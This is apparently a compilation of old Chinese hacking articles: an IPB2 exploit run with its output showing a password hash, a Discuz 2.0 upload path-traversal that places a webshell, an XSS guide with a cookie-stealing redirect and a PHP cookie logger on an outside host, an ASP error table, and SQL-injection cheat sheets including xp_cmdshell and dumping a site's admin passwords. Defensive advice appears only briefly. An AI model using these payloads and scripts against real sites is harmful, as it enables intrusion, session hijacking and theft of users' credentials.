    如果论坛太大了。找不到管理员的ID，直接用“where mgroup=4”作为查询条件可以了。我也不多说怎么构造了。大家如果不明白构造，可以先去http//www.4ngel.net看看相关文章。有了这些敏感的数据，就可以直接COOKIE欺骗了哦。IPB2.0.0－2.0.2的COOKIE欺骗的漏洞细节，可以在绿盟看到（http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181）。
    RusH security team发布的IPB2的exploit（http://www.rst.void.ru/download/r57ipb.txt），要求的参数比较多，居然还要知道SID，如下：
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:

    如果成功利用了，就会返回，
## [ REPORT ]----------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]
## --------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    而且他们是CONCAT(id,char(58),name,char(58),member_login_key)这样来判断。自然没有我们直接返回这么潇洒了。不过工具也只能这样了，手工的话，我们只用知道构造就行了，仅此而已。
    工具只是武器，技术才是灵魂。毛主席说过：自己动手，丰衣足食。


DISCUZ2上传漏洞分析 上传漏洞变换利用

信息来源：xiaohuar.blogchina.com
文章已发表于黑客X档案12期 转载请注明
DISCUZ论坛以其漂亮的界面，完备的功能受到很多站长青睐，在PHP论坛中占有很大市场，从各方面都有可以和动网论坛相媲美。2.0虽然属于老版本，但还是有一大部分用户正在使用。自从9月DISCUZ爆了一个漏洞以来，随后又相继出来了几个漏洞，但这些漏洞要么影响很少，要么利用起来很困难。我写过一个DISCUZ利用程序，经常有人问我如何利用，我无法回答。为此，我读了一下DISCUZ源代码，发现它的上传存在问题，经过测试，在WIN2000下和Red Hat下都存在该问题，不过部分UNIX系统不受影响。文章是写如何发现上传漏洞，给大家和程序作者一点思路，其中源程序请去网上下载免费版。
一 漏洞分析
我首先说DISCUZ2或者更高版本的一个BUG。它的include/common.php存在物理路径泄露漏洞。require $discuz_root.'./config.php';
require $discuz_root.'./include/global.php';
require $discuz_root.'./include/global.php';
require $discuz_root.'./include/db_'.$database.'.php';
这段代码中$discuz_root默认是等于"."的，就是当前目录的意思，如果在PHP.ini中没有设置INCLUDE选项，那系统就会报告无法找到config.php，因为系统认为common.php是被其他文件包含的，而包含它的文件是在INCLUDE目录上层，所以代码是这样写的，但是系统不可能阻止我们直接访问common.php。所以，如果我们在浏览器提交(我的机子为例)
http://localhost/discuz/include/common.php
就会泄露物理路径。 好，切入正题，开始分析上传漏洞如何形成以及如何利用。
DISCUZ论坛的上传函数是include/post.php下面的attach_upload。我一步一步解释程序的执行过程，涉及关键代码处我会详细说明。
global $discuz_root, $attachsave, $attach, $attach_name, $attach_size, $attach_fname, $attachdir, $maxattachsize, $attachextensions;
//获得全局变量
if(!function_exists('is_uploaded_file')) {
if(!is_uploaded_file($attach)) {
return false;
}
} elseif(!($attach != 'none' && $attach && trim($attach_name))) {
return false;
}
//以上判断$attach变量是不是一个上传文件，不是函数结束，我们上传的肯定是个文件
$attach_name = daddslashes($attach_name);
if($attachextensions && @!eregi(substr(strrchr($attach_name, '.'), 1), $attachextensions)) {
showmessage('post_attachment_ext_notallowed');
}
//关键代码，判断扩展名是否符合要求，默认安装时$attachextentsions为空，那么这个IF语句就跳过去了，这是我们所希望的。但是一般有点安全意识的网站都会设置一下，这个问题少后详细讨论。
if(!$attach_size || ($maxattachsize && $attach_size > $maxattachsize)) {
showmessage('post_attachment_toobig');
}
//判断文件大小，构造一下这句对我们没有效果，跳过不管
$filename = $attach_name;
$extension = strtolower(substr(strrchr($filename, '.'), 1));
if($attachsave) {
switch($attachsave) {
case 1: $attach_subdir = 'forumid_'.$GLOBALS['fid']; break;
case 2: $attach_subdir = 'ext_'.$extension; break;
case 3: $attach_subdir = 'month_'.date('ym'); break;
case 4: $attach_subdir = 'day_'.date('ymd'); break;
}
if(!is_dir($discuz_root.'./'.$attachdir.'/'.$attach_subdir)) {
mkdir($discuz_root.'./'.$attachdir.'/'.$attach_subdir, 0777);
}
$attach_fname = $attach_subdir.'/';
} else {
$attach_fname = '';
}
//如何保存，默认是放在论坛attachments目录下，不过有的论坛根据论坛ID号分类，或者日期分类，根据具体论坛而定，不过对我们影响不大
$filename = substr($filename, 0, strlen($filename) - strlen($extension) - 1);
if(preg_match("/[\x7f-\xff]+/s", $filename)) {
$filename = str_replace('/', '', base64_encode(substr($filename, 0, 20)));
}
//过滤非ASCII字符
if(in_array($extension, array('php', 'php3', 'jsp', 'asp', 'cgi', 'pl'))) {
$extension = '_'.$extension;
}
//关键代码，判断扩展名是不是非法，以防有人恶意上传WEBSHELL。不过我们构造条件要饶过这条语句
$attach_fname .= random(4)."_$filename.$extension";
$attach_saved = false;
$source = stripslashes($discuz_root.'./'.$attachdir.'/'.$attach_fname);
//生成路径
剩下代码是上传文件的就省略了，因为要是能执行到这里，和文件任何属性都已无关，所以我也就不解释了（解释好累，呵呵）。
好我们开始反向追踪$source变量，可以看到它是三个变量组成:$discuz_root是定义好的，$attachdir也是定义好的，唯一能控制的是$attach_fname变量。好，再追踪$attach_fname变量，由4个随机字符串，一个下划线和两个变量组成，
$attach_fname .= random(4)."_$filename.$extension"；
废话少说，我把这个式子展开，用最原始的变量（我们可以构造的变量）替换，就变成了如下格式（别和我说没学过代数）,随机串用abcd表示。
$extension=strtolower(substr(strrchr($attach_name, '.'), 1));
$filename=substr($attach_name, 0, strlen($attach_name) - strlen($extension) - 1);
$attach_fname="abcd_$filename.$extentsion";
其中$attach_name是我们提交的，我们按正常思维提交一个图片文件，得到如下结果。
$attach_name="test.jpg"
$extension="jpg"
$filename="test"
$attach_fname="abcd_test.jpg"
看到结果是如何生成的了吧？我们按非正常思维就要得到SHELL了，看如何利用漏洞。
二 漏洞变换利用
通过上面的分析，大家已经知道程序如何运行。我直接给出一个得到WEBSHELL的方法，并分析是如何跳过程序检查的，其他的利用方法大家可以仁者见仁，智者见智。
我们把$attach_name的值设为"/../../test.php."（注意最后有个点）。至于为什么$attach_name我们可以构造，而且是任意构造。这就需要点PHP脚本知识和HTTP协议的基础，篇幅有限，不再介绍。再有因为本文文章较长，就不给数据包提交过程，附有PERL源码，大家可以查看文件名构造部分。下面给出如何绕过验证，分析关键代码。
if($attachextensions && @!eregi(substr(strrchr($attach_name, '.'), 1), $attachextensions)) {
showmessage('post_attachment_ext_notallowed');
}
很显然，如果$attachextensions为空，这句就无条件跳过，如果设置了$attachextensions类似为"jpg,gif,txt,zip,rar"形式，那我们刚才的构造就无效了，系统会报错，这种情况如何利用等会再说，这里我们假设这句能跳过执行。
$extension = strtolower(substr(strrchr($filename, '.'), 1));
这里的$filename值是我们提交的为"/../../test.php.",执行这句后，$extension就为空了。
$filename = substr($filename, 0, strlen($filename) - strlen($extension) - 1);
同上，执行完这句后$filename就等于"/../../test.php",注意最后没有点。
if(in_array($extension, array('php', 'php3', 'jsp', 'asp', 'cgi', 'pl'))) {
$extension = '_'.$extension;
}
因为$extension为空，所以这句跳过去了。
到此$attach_fname="abcd_/../../test.php." (随机串用abcd代替)
我们假设$discuz_root="e:/www/discuz",那么
$source="e:/www/discuz/attachments/abcd_/../../test.php."
看到了吧，经过我们构造后文件名就变成了上面的样子，保存到哪里不用再说了吧？
因为WINDOWS系统会忽略文件最后的点号，而LINUX系统虽然保留点号，但依然阻挡不了我们获得SHELL。这样我们就把自己的SHELL传到了论坛根目录，如果是LINUX系统，在执行时要带上最后一个点，WINDOWSj就不必了,连接地址如下。
http://localhost/discuz/test.php
到此，如何绕过程序验证的以及如何获得SHELL的都写完了。回到刚才的疑问，如果系统设置了$attachextensions怎么办呢？假设值为"gif,jpg,swf,txt,zip,rar",大部分系统都是这样的。
大家一开始可能想不到如何利用，我也是偶然想到的，这种方法虽然价值不大，不过作为一种经验我还是有必要和大家分享一下，要发扬共享精神嘛。有了上面的分析基础，我就不长篇赘述，怕大家看着不耐烦。我们把$attach_name的值构造为"/../../images/default/logo.gif",大家应该明白什么意思了吧？就是覆盖系统的图片文件，或者任何符合格式的文件，包括FLASH文件等。有什么用呢？覆盖了程序的logo图标，确实没什么用，不过搞恶作剧绰绰有余了。假如你自己做一个图片文件，上面写着"该网站存在漏洞"等字样，那个管理员肯定吓一跳。这让我想起来前一个月国内几个安全网站进行了以改写别人网站主页为目的的攻击，我不希望大家这样用这个漏洞，损人不利己。覆盖图片文件没有意义，但覆盖SWF文件就有意义了，我们很容易判断网站SWF的路径和文件名，而且一般网站或多或少有SWF文件，我们覆盖了这些文件，就可以做跨站脚本攻击，可别小看XSS，它比SQL注入的功能弱不了多少，可以得到用户COOKIE等敏感信息。由于篇幅限制，也不再赘述。
漏洞利用小结：
1．版本必须是2.0(2.x.x可能也受影响)以下，因为3.x以上的那个文件名的随机串是放在后面，我想了很长时间都不知怎么用，如果有高手想出来，可以一起讨论。
2．必须可以上传文件，当然要先注册个用户，不过大部分论坛受动网论坛的上传漏洞影响都关闭了上传
3．DISCUZ论坛经过了很多人修改，我读的是最原始的论坛源码，难免有人在修改过程中修改了上传部分，这样肯定会过滤"/,\,.."等敏感字符，所以也不受影响。
4．有的商业论坛虽然显示的"Power by DISCUZ2.0 COML"，但实际上早就打了高版本的补丁，所以它实践不能算是2.0版本，也不会受漏洞影响的。
5．在实际使用过程中，要具体问题具体分析，可以先上传几个普通图片分析一下，通过分析正常图片的路径，可以判断出很多信息。
三 漏洞防范
其实漏洞防范很简单，DISCUZ3论坛已经就没这个漏洞了，但也肯定不是万无一失的，真希望高人能想出利用方法。
其实它完全可以效法动网论坛，文件名指定，扩展名指定。文件名根据年月日和时间信息生成，扩展名手工指定可以采用下面方法。
先判断扩展名合法性，然后
switch($ext)
{
case "jpg":
$saveExt="jpg";break;
case "gif":
$saveExt="gif";//中间可以加break;dfault:
exit("扩展名非法");
}


一些跨站脚本攻击的总结
文章作者：冰血封情[EST]
信息来源：EvilOctal Security Team(http://www.eviloctal.com/)
注意:这文章有局限性 但是毕竟是针对我个人的空间的情况而定义的 本来就是我个人的技术总结么 其他人生死冰血封情可就不管了 抱歉哦
以动网为例子通过简单构造弹出cookies的url来检测漏洞是否存在:

http://www.target.com/bbs/target.asp?Errcodes=<script>alert(document.cookie)</script>&action=otherErr
以上将弹出本地用户的cookies 下面重定向地址到邪恶八进制

http://www.target.com/bbs/target.asp?Errcodes=<script>document.location='<a href='http://www.EvilOctal.com' target=_blank>http://www.EvilOctal.com</a>'</script>&action=otherErr
其实方法在这里 php如果过滤不严 也大同小异

http://www.target.com/bbs/target.php/"><script>alert(document.cookie)</script>

下面是经典用法 构造链接盗取cookies 这里以php空间为例子 谁让偶的是bsd+mysql+php空间呢:
仍以动网为例子 构造如下链接 别以为我说的是动网哦 相信聪明的你很容易明白的^_^

http://www.target.com/bbs/target.asp?Errcodes=<script>document.location='<a href='http://www.SecurityPeak.com/cookie.asp?' target=_blank>http://www.SecurityPeak.com/cookie.asp?</a>'%2Bdocument.cookie</script>&action=otherErr

很遗憾 有的时候没那么好：（
第一 有可能受到主机安全限制无法执行以上的url 比如php中那个恶心的斜杠
第二 没有一个白痴会像流氓豆(嘿嘿 对Etern4lCn进行一下人身攻击)一样去点这么奇怪的一个地址链接
好!首先来如何解决一...突破php安全限制:

http://www.target.com/bbs/target.php/"><form name=EvilOctal method=post action=http://www.EvilOctal.com/cookie.php>
<input type=txt name=info><input type=submit value=EvilOctal></form>
<script>
document.EvilOctal.info.value=document.cookie;
document.EvilOctal.submit();
</script>
以下我们来看看cookie.php的内容 因为cookie在远程提交的时候 必需有负责接收的:
<?php
$info =
        getenv("QUERY_STRING");
if ($info)
        {
$info=urldecode($info);
$fp =
        fopen("info.txt","a");
fwirte($fp,$info."\n\n\n\n");
fclose($fp);
header("Location:<a
        href='http://www.EvilOctal.com/news.htm'
        target=_blank>http://www.EvilOctal.com/news.htm</a>");
}
?>
这样第一个问题就完美解决：）
现在我们来看看第二个 嘿嘿 其实上面一经解决了 只要大家看看美丽的news.htm的内容就知道了:
<meta http-equiv="refresh"
        content="1;url=http://www.target.com/bbs/target.asp?Errcodes=<script>document.location='<a
        href='http://www.EvilOctal.com/cookie.php?'
        target=_blank>http://www.EvilOctal.com/cookie.php?</a>'%2Bdocument.cookie</script>&action=otherErr>
现在明白了么？其实关键就在那个cookie.php 欺骗的关键 这样针对跨站脚本攻击中最敏感的部分冰血封情就总结完了 欢迎来到邪恶八进制 论坛地址自己找...
Have fun：）


asp程序错误详细说明例表

信息来源：心情网络
平时写程序的时候出错时的解决方法,不太全,但是一般问题应该都有了,呵呵,欢迎大加添加新的错误信息及解决方法
ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件
MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态，或表不存在于conn打开的数据库中)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)-->sql语句出错(字段名错误,或数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E07)-->sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E57)-->sql语句出错(要插入或更新的数据溢出)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E10)-->sql语句出错(update字段名或要更新的数据类型错误)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005)-->sql语句出错(要插入或更新的字段的数值不能为空值)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005)　-->打开数据库出错，没有在指定目录发现数据库
MicrosoftOLEDBProviderforODBCDrivers(0x80040E37)-->没有发现表

MicrosoftVBscript运行时错误(0x800A000D)-->错误引用rs变量(rs对像已关闭或未定义)
MicrosoftVBscript运行时错误(0x800A01C2)-->vbscript脚本错误(vbscript语句出错)
MicrosoftVBscript运行时错误(0x800A0006)-->vbscript脚本错误(溢出错误)
MicrosoftVBscript编译器错误(0x800A040E)-->缺少loop
MicrosoftVBscript编译器错误(0x800A03EA)-->缺少if或endif
MicrosoftVBscript编译器错误(0x800A03EE)-->　语句未结束(缺少")")
MicrosoftVBscript编译器错误(0x800A03F6)-->if语句出错(缺少endif)
MicrosoftVBscript运行时错误(0x800A005B)-->缺少set
MicrosoftVBscript运行时错误(0x800A0005)-->变量未定义
MicrosoftVBscript编译器错误(0x800A03F9)-->if语句缺少then
MicrosoftVBscript编译器错误(0x800A0411)-->dim语句定义错误
MicrosoftVBscript编译器错误(0x800A0408)-->sql语句错误（?????????????????)
ADODB.Recordset(0x800A0BB9)-->sql语句出错(sql语句或conn语句未定义或对一个rs属性进行赋值时发生错误)
ADODB.Recordset(0x800A0CC1)-->rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名)
ADODB.Recordset(0x800A0BCD)-->rs对像出错(记录集中没有记录却对记录集进行操作)
ADODB.Recordset(0x800A0E78)-->rs对像出错(记录集不存在,缺少rs.open语句)
ADODB.Recordset(0x800A0CC1)　-->rs对像出错(引用了一个不存在的字段名)
ADODB.Recordset(0x800A0E7D)-->conn定义错误
ADODB.Recordset(0x800A0CB3)-->数据库以只读方式打开，无法更新数据


sql注射技巧整理
猜表过程--------------------------------------------->
猜测用户名范围：
http://www.target.com/class.asp?typeid=喜剧片' and 1=(select id from password where len(name)=猜测位数）and '1
猜测用户密码范围：
http://www.target.com/class.asp?typeid=喜剧片' and 1=(select id from password where len(pwd)=猜测位数）and '1
详细猜测：
用户名依次推算：
http://www.target.com/class.asp?typeid=喜剧片' and 1=(select id from password where asc(mid(name,1,1))>97) and '1
继续提交：
http://www.target.com/class.asp?typeid=喜剧片' and 1=(select id from password where asc(mid(name,1,1))=100) and '1
密码位推算
http://www.target.com/class.asp?typeid=喜剧片' and 1=(select id from password where asc(mid(pwd,1,1))>97） and '1
------------------------------------------------------------
常见测试方法：
www.target.com/show.asp?id=1;--(;--在sql语句中表注释)
www.target.com/show.asp?id=1 or id in (select id from admin)
如果看到管理员admin表中ID=7，并且密码是admin，也就是长度为5。用最常用的语句带入看看：
SiteName：good
SiteUrl：good' and 7=(select id from admin where len(password)=5) and '1

这样sql语句就变成了：
select * from FriendSite where SiteName=good and SiteUrl=good' and 7=(select id from admin where len(password)=5) and '1'

----------------------------------------------------
第一步:
在输入用户名处输入单引号，显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 ''' 之前有未闭合的引号。
/user/wantpws.asp，行63
说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a';use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能，请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp，行63
这样说明没有权限了。
第三步:
输入:a' or name like 'fff%';--
第四步:
在用户名处输入
ffff' and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'user' 无效。
/user/wantpws.asp，行96
说明没有叫user的表，换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a' having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.ID' 在选择列表中无效，因为该列未包含在聚合函数中，并且没有 GROUP BY 子句。
/user/wantpws.asp，行63

)
现在我们知道了ffff用户的密码是111111.
下面通过语句得到数据库中的所有表名和字段名。
第五步:
输入:
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三个字段是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.userid' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。
/user/wantpws.asp，行63
这个第二个字段就是userid
显示第三个字段。
a' group by id,userid having 1=1--
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.password' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。
/user/wantpws.asp，行63
得到是password
同理，一直显示出所有。：）
)
users表
1 2 3 4
id userid password name
5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send
17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note

starlook--12 10 2003 2:41PM
nlook---0
nos---2 登陆次数
date--12 10 2003 12:00AM 注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明
password表
1 2 3
id name pwd
然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...
这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp
再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
------------------------------------------------------------
数据库猜测测试：
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
-----------------------------------------------------------------------------
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- //tftp，防火墙，nc,tcpdump..
'; EXEC master..sp_makewebtask "\目标ip\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
UNION SELECT TOP 1 login_name FROM admin_login--
UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
;UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
;INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
-----------------------------------------------------------------------------


' or '1'='1'等漏洞问题

在login.asp中，接收用户输入的Userid和Password数据，并分别赋值给user和pwd，然后再用sql="select * from admin where username="&user&" and password="&pwd&"" 这句来对用户名和密码加以验证。
    以常理来考虑的话，这是个很完整的程序了。而在实际的使用过程中，整套程序也的确可能正常使用。
    但是如果Userid的值和password的值被赋于：safer' or'1'='1' 这时，sql="select * from admin where username="&user&" and password="&pwd&"" 就成了：
    sql="select * from reg where user=safer' or'1'='1' and pass=safer' or'1'='1'
    怎么样？！我不说大家也明白了吧！
    既然有这样的问题，接下来我们就来看看如何解决它。从上面的程序中各位也可以看出，只要对用户输入的数据进行严格过滤就可以了。具体可以参下面的程序：
    <%
    user=request.from("UserID")
    pass=request.from("password")
    for i=1 to len(UserID)
    cl=mid(UserID,i,1)
    if cl="" or us="%" or us="<" or us=">" then
    response.redirect "54safer ..haha"
    response.end
    end if
    next
    %>
    同样是先取得用户输入数据，然后分析用户输入的每一个字符，如发现异常，则转到错误页面。
    if cl="" or us="%" or us="<" or us=">" then 这一句中可以加入任意的过滤字符，跟据具体情况而定。


SQL注入天书 - ASP注入漏洞全接触
引 言
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。
ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。
但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。
根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...
入 门 篇
如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。
第一节、ＳＱＬ注入原理
以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。
在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp，行8
从这个错误提示我们能看出下面几点：
1. 网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。
2. 程序没有判断客户端提交的数据是否符合程序要求。
3. 该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。
第二节、判断能否进行ＳＱＬ注入
看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？
其实，这并不是最好的方法，为什么呢？
首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的
    那么，什么样的测试方法才是比较准确呢？答案如下：
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 ;and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 ;and 1=2
这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：
可以注入的表现：
① 正常显示（这是必然的，不然就是程序有错误了）
② 正常显示，内容基本与①相同
③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）
不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。
    当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢？来看看：
SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
http://www.19cn.com/showdetail.asp?id=49 ;and user>0
这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。
顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。
如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。
在确认可以注入的情况下，使用下面的语句：
http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id= 49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。
如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：

第一节、ＳＱＬ注入的一般步骤
首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。
其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：
(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
Select * from 表名 where 字段=49
